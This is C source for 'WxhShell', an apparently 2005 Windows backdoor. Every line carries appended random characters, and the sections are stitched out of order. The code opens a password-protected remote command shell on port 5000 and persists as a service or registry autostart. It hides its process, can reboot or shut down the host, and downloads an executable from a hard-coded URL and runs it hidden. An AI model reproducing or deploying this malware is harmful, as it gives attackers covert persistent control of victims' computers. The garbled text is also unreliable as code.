DWORD AffinityMask; ;RflzY|D
DWORD BasePriority; :`2<SF^0O
ULONG UniqueProcessId; A)kx,,[
ULONG InheritedFromUniqueProcessId; ]U!vZY@\
} PROCESS_BASIC_INFORMATION; f'0n^mSP
aA-A>z
PROCNTQSIP NtQueryInformationProcess; 4!i`9w$$"
u01 'f-h
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sD7Qt
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;3U-ghj
#M$[C d
I$
HANDLE hProcess; Jor>YB`X
PROCESS_BASIC_INFORMATION pbi; -ZlBg~E
zIi|z}WJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TUIj-HSe
if(NULL == hInst ) return 0; bTHKMaGWC
c$rkbbf~V
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Jm6 r4s?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KiT>W~
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,aeQXI#@
8;ke,x
if (!NtQueryInformationProcess) return 0; S(.AE@U
~YA*
RCe
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \{t#V
~
if(!hProcess) return 0; a*$to/^r
m vO!Y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P,k~! F^L
"=@b>d6U+
CloseHandle(hProcess); n .ZLR=P4
L{jJDd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E0'+]"B
if(hProcess==NULL) return 0; =@AWw:!:,
V&;1n
HMODULE hMod; J 05@SG':
char procName[255]; a|SgGtBtT4
unsigned long cbNeeded; Rq )&v*=
QG*=N {%5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'A;G[(SYy
H;s
CloseHandle(hProcess); CnSf GsE>
hEi]-N\X
if(strstr(procName,"services")) return 1; // 以服务启动 'iA#lKG
GwQW
I]
return 0; // 注册表启动 k__i Jsk
} XAwo~E
oGM Ls
// 主模块 GR@!mf
int StartWxhshell(LPSTR lpCmdLine) +~?ze,Di
{ N+ZDQa[
SOCKET wsl; )uC],CbW{
BOOL val=TRUE; #qrZ(,I@n
int port=0; 6!dbJ5x1
struct sockaddr_in door; id<i|
SNV~;@(h
if(wscfg.ws_autoins) Install(); )Fx"S.Ok
9] fhH
port=atoi(lpCmdLine); M(|Qvh{Q6
v".q578
0B
if(port<=0) port=wscfg.ws_port; fft FNHP
\ZX5dFu0
WSADATA data; T]-yTsto
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eQu%TZ(x-$
<f.* =/]W2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gF-<%<RV
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zu`;
S#Y
door.sin_family = AF_INET; h6<abT@I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~T@t7Cg
door.sin_port = htons(port); BZejqDr*
|z\5Ik!fF]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |x@)%QeC
closesocket(wsl); 7[h_"@_A7
return 1; XK??5'&{
} IROX]f}r (
4)0 %^\p
if(listen(wsl,2) == INVALID_SOCKET) { QEKSbxL\W
closesocket(wsl); [zv>Wlf,%
return 1; BLZ#vJR
} 6r!
Y ~\@
Wxhshell(wsl); 4
AZ~<e\
WSACleanup(); TP o%zZo
z%$ E6Im
return 0; oFM\L^Y?$$
oNQ;9&Z,^2
} wgfA\7Z
.] mYpz
// 以NT服务方式启动 9qN4f8R
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oJa6)+b(3
{ YL-/z4g
DWORD status = 0; Z?X0:WK
DWORD specificError = 0xfffffff; Mx{VN
P
o|Cq#JFG
serviceStatus.dwServiceType = SERVICE_WIN32; OzY55
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =sy>_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q9cmtZrm
serviceStatus.dwWin32ExitCode = 0; mkgGX|k;
serviceStatus.dwServiceSpecificExitCode = 0; 6hDK;J J&
serviceStatus.dwCheckPoint = 0; b?9c\-}
serviceStatus.dwWaitHint = 0; i{[=N9U5o
y_EkW
f
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uw!
if (hServiceStatusHandle==0) return; JwCv(1$GM
u$ [R>l9
status = GetLastError(); +13h*
if (status!=NO_ERROR) wI.i\S
{ Vcn04j#Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2{;&c
serviceStatus.dwCheckPoint = 0; J$6h%Eyo
serviceStatus.dwWaitHint = 0; AQn>K{M
serviceStatus.dwWin32ExitCode = status; dp`xyBQ3
serviceStatus.dwServiceSpecificExitCode = specificError; 8|^dM$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ww5c9orXn
return; 6BM[RL?T
} [
[]'U'
0^'A^
serviceStatus.dwCurrentState = SERVICE_RUNNING; MV
+R $
serviceStatus.dwCheckPoint = 0; Dy6uWv,P
serviceStatus.dwWaitHint = 0; ?CO\jW_
*n
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j.FA!4L
} 4w,=6|#
_Gs*4:
// 处理NT服务事件,比如:启动、停止 @(>XSTh9
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gt#Jr!N~
{ pRI<L'
switch(fdwControl) 3jF#f'*
{ q-s! hiK
case SERVICE_CONTROL_STOP: X-1<YG
serviceStatus.dwWin32ExitCode = 0; ",/3PT
serviceStatus.dwCurrentState = SERVICE_STOPPED; O@JgVdgf
serviceStatus.dwCheckPoint = 0;
Y g>W.wA
serviceStatus.dwWaitHint = 0; &y`
MDyXz
{ ' >(])Oq,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); HQHFD0hv
} 1'ne[@i^/
return; sX&.8
case SERVICE_CONTROL_PAUSE: 0dS}pd">k
serviceStatus.dwCurrentState = SERVICE_PAUSED; .5Y%I;~v
break; EvZ;i^.8LS
case SERVICE_CONTROL_CONTINUE: *hVbjI$
serviceStatus.dwCurrentState = SERVICE_RUNNING; GC?X>AC:
break; I9O9V[
case SERVICE_CONTROL_INTERROGATE: V3;4,^=6Dd
break; Z(Da?6#1
}; +pYrA qmO-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F) w.q
} <p@c%e,_
XL[/)lX{
// 标准应用程序主函数 (vte8uQe
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bqugo
{ s2Gi4fY?
UeWEncN(
// 获取操作系统版本 zJ{?'kp
OsIsNt=GetOsVer(); 6o@}k9AN
GetModuleFileName(NULL,ExeFile,MAX_PATH); 89@\AjI
8N<0|u
// 从命令行安装 W{E22J}
if(strpbrk(lpCmdLine,"iI")) Install(); ,#3}TDC
kp3(/`xP
// 下载执行文件 y*2R#jTA
if(wscfg.ws_downexe) { /dTy%hZC}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `5 py6,
WinExec(wscfg.ws_filenam,SW_HIDE); (]7*Kq
} 3wXmX
>Gbj1>C}
if(!OsIsNt) { EtN@ 6xP
// 如果时win9x,隐藏进程并且设置为注册表启动 bc}X.IC
HideProc(); vW4~\]
StartWxhshell(lpCmdLine); -r/G)Rs
} <>aBmJs4
else 5 e:Urv77
if(StartFromService()) b *IJ +
// 以服务方式启动 B{|g+c%
StartServiceCtrlDispatcher(DispatchTable); /CpUq;^
else 3/IQ]8g"
// 普通方式启动 $ tf;\R
StartWxhshell(lpCmdLine); W-wy<<~f
j]7|5mC78
return 0; [vki^M5i|Z
} ?]%JQ]Gf*
xsK{nM6g
%bf+Y7m
TJ(P TB;
=========================================== _'&N0 1
'!`%!Xg
e;b,7Qw
~82[pY
o?\)!_Z|
Ore$yI}!m
" UnNvlkjq9
)#-27Y
#include <stdio.h> 4GJ1P2
#include <string.h> 7L)1mB.
#include <windows.h> tB.;T0n
#include <winsock2.h> =jD[A>3I
#include <winsvc.h> RAR0LKGX
#include <urlmon.h> 7t-j2 n`<
/nXp5g^6(
#pragma comment (lib, "Ws2_32.lib") Wz$%o'OnC
#pragma comment (lib, "urlmon.lib") &SS"A*xg
ToNi<~
#define MAX_USER 100 // 最大客户端连接数 8?] :>
#define BUF_SOCK 200 // sock buffer
'$Jt}O
#define KEY_BUFF 255 // 输入 buffer eydVWVN
ln.kEhQ3B
#define REBOOT 0 // 重启 $mm =$.
#define SHUTDOWN 1 // 关机 r`u}n
rUfW0
#define DEF_PORT 5000 // 监听端口 3{_A zL
3WyK!@{
#define REG_LEN 16 // 注册表键长度 j&E4|g (
#define SVC_LEN 80 // NT服务名长度 K#M
h
g!n1]- 1
// 从dll定义API ,oe
e'
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PJj{5,#@3
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =/=x"q+X
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ab7hW(/
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /uI/8>p(
oR}ir
// wxhshell配置信息 ulFU(%&
struct WSCFG { o;Ijv\Em
int ws_port; // 监听端口 4W8rb'B!Ay
char ws_passstr[REG_LEN]; // 口令 |Hn[XRsf
int ws_autoins; // 安装标记, 1=yes 0=no q!W~>c!
char ws_regname[REG_LEN]; // 注册表键名 1!8*mk_R{
char ws_svcname[REG_LEN]; // 服务名 q3Umqvl)oe
char ws_svcdisp[SVC_LEN]; // 服务显示名 G],+?E_,
char ws_svcdesc[SVC_LEN]; // 服务描述信息 O<4i)Lx2
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2>Kq)Ii
int ws_downexe; // 下载执行标记, 1=yes 0=no 1_:1cF{w
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UwtOlV:G{
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bp\io$(%
C>cc!+n%H
}; R#~}ZUk2
o^~6RZ
// default Wxhshell configuration Gb61X6
struct WSCFG wscfg={DEF_PORT, &Pxt6M\d
"xuhuanlingzhe", 'R*gSqx~
1, /Nq!^=
"Wxhshell", ~J2-B2S!
"Wxhshell", 322W"qduTZ
"WxhShell Service", ^7q=E@[e
"Wrsky Windows CmdShell Service", !mBsDn(J
"Please Input Your Password: ", X[k-J\
1, A(_AOoA'
"http://www.wrsky.com/wxhshell.exe", B%6bk.
"Wxhshell.exe" L5T)_iQ5
}; ^
vI|
R+]p
-NI^
// 消息定义模块 %9M; MK
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D{o1G?A
char *msg_ws_prompt="\n\r? for help\n\r#>"; yP0P-8
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iM2
EEC
char *msg_ws_ext="\n\rExit."; fEs957$
char *msg_ws_end="\n\rQuit."; MSeO#X
char *msg_ws_boot="\n\rReboot..."; wI>JOV7
char *msg_ws_poff="\n\rShutdown..."; L:YsAv
char *msg_ws_down="\n\rSave to "; 1hZM))
y:4Sw#M%(
char *msg_ws_err="\n\rErr!"; ZJ"*A+IJx[
char *msg_ws_ok="\n\rOK!"; fLI@;*hL0
;KQ'/nII
char ExeFile[MAX_PATH]; 2BH>TmS
int nUser = 0; a2/r$Tgm
HANDLE handles[MAX_USER]; <6<uO\B\
int OsIsNt; w:FH2*
&_4A6
SERVICE_STATUS serviceStatus; UTA0B&aB
SERVICE_STATUS_HANDLE hServiceStatusHandle; +lJuF/sS8m
37p0*%a":
// 函数声明 $ajw]2kx
int Install(void); B0p>' O2
int Uninstall(void); SUD]Wl7G`r
int DownloadFile(char *sURL, SOCKET wsh); =)M 8>>l
int Boot(int flag); -Kg@Sj/U}R
void HideProc(void); 'lC"wP&$
int GetOsVer(void); PkDL\Nqe
int Wxhshell(SOCKET wsl); x|0Q\<mEe
void TalkWithClient(void *cs); Y@eHp-[
int CmdShell(SOCKET sock); H[@}ri<
int StartFromService(void); R'dF<&Kj|
int StartWxhshell(LPSTR lpCmdLine); 3JW9G04.
fH`1dU
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C*Ws6s>+z
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BT>*xZLpS
p<